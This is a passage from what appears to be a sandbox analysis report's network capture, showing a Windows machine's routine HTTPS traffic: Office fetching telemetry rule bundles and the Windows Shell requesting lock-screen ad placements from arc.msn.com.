2024-11-28 16:24:11 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 36 58 34 45 66 64 51 76 43 6b 4f 47 49 2b 33 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 34 31 65 63 33 33 35 30 31 35 34 64 32 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 6X4EfdQvCkOGI+3T.3Context: d441ec3350154d23
2024-11-28 16:24:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 68 49 52 45 6a 52 49 35 6b 32 51 4a 2b 73 53 54 39 67 6b 53 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zhIREjRI5k2QJ+sST9gkSA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:15 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162415Z-174f78459684bddphC1EWRbht40000000ybg00000000cbha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 16:24:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 16:24:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 16:24:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49719	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:15 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c6a03959b5264bb3ae4998d8ac31855d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-338387&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p= Cache-Control: no-cache MS-CV: vwTWr6w750qPAX8q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 16:24:15 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 24074 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: M+yvMYE/MxCSk6ca+bAWtosaXHRhKUW24RhaoxnK70lnByU+p8L5tviGy8ychoNUFnIxFzMmztgAxmHvpEMZhknY19dhbzqdDvBCN0BLZHaaqs/d0WZRVgOgqw0laE2rt+ZTyj9LQODv1Nop66BHow2Mn0Q0mGBPlb3kwolE/I7rvSD22lzMMSoW1Hd0L4aJQ4aaV+2h1UeIiYMM5c1Al0qsfb6cvYm6U3kWMcWi7eGntWqYsO6Qf55EECQMiJuWZkVQDXhkPyfMfdayw2j++EyjIC7uvjdnx3lUE6hjreDuHXeUF3uF9XBMDAjNf91wfBV/8JA60MAMvpT8EUW7RQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:14 GMT Connection: close
2024-11-28 16:24:15 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-28 16:24:16 UTC	8505	IN	Data Raw: 30 30 32 36 61 64 55 6e 69 74 49 64 3d 31 31 37 33 30 35 39 38 5c 5c 75 30 30 32 36 6c 6f 63 61 6c 49 64 3d 77 3a 30 36 38 44 34 38 32 44 2d 38 46 33 42 2d 37 38 41 45 2d 44 41 41 30 2d 30 43 30 38 42 38 46 46 32 41 45 36 5c 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 5c 75 30 30 32 36 69 74 65 6d 49 6e 64 65 78 3d 31 5c 22 7d 5d 7d 2c 5c 22 74 72 69 67 67 65 72 73 5c 22 3a 5b 5d 7d 5d 7d 2c 5c 22 70 72 6d 5c 22 3a 7b 5c 22 5f 69 64 5c 22 3a 5c 22 35 33 30 34 35 35 36 38 35 5c 22 2c 5c 22 73 74 61 72 74 54 69 6d 65 5c 22 3a 5c 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 Data Ascii: 0026adUnitId=11730598\\u0026localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6\\u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\\u0026itemIndex=1\"}]},\"triggers\":[]}]},\"prm\":{\"_id\":\"530455685\",\"startTime\":\"2024-11-28T16:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49720	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:15 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0fa948bcc42d4bc7bcb494ed4a3296d1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-280815&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p= Cache-Control: no-cache MS-CV: vwTWr6w750qPAX8q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
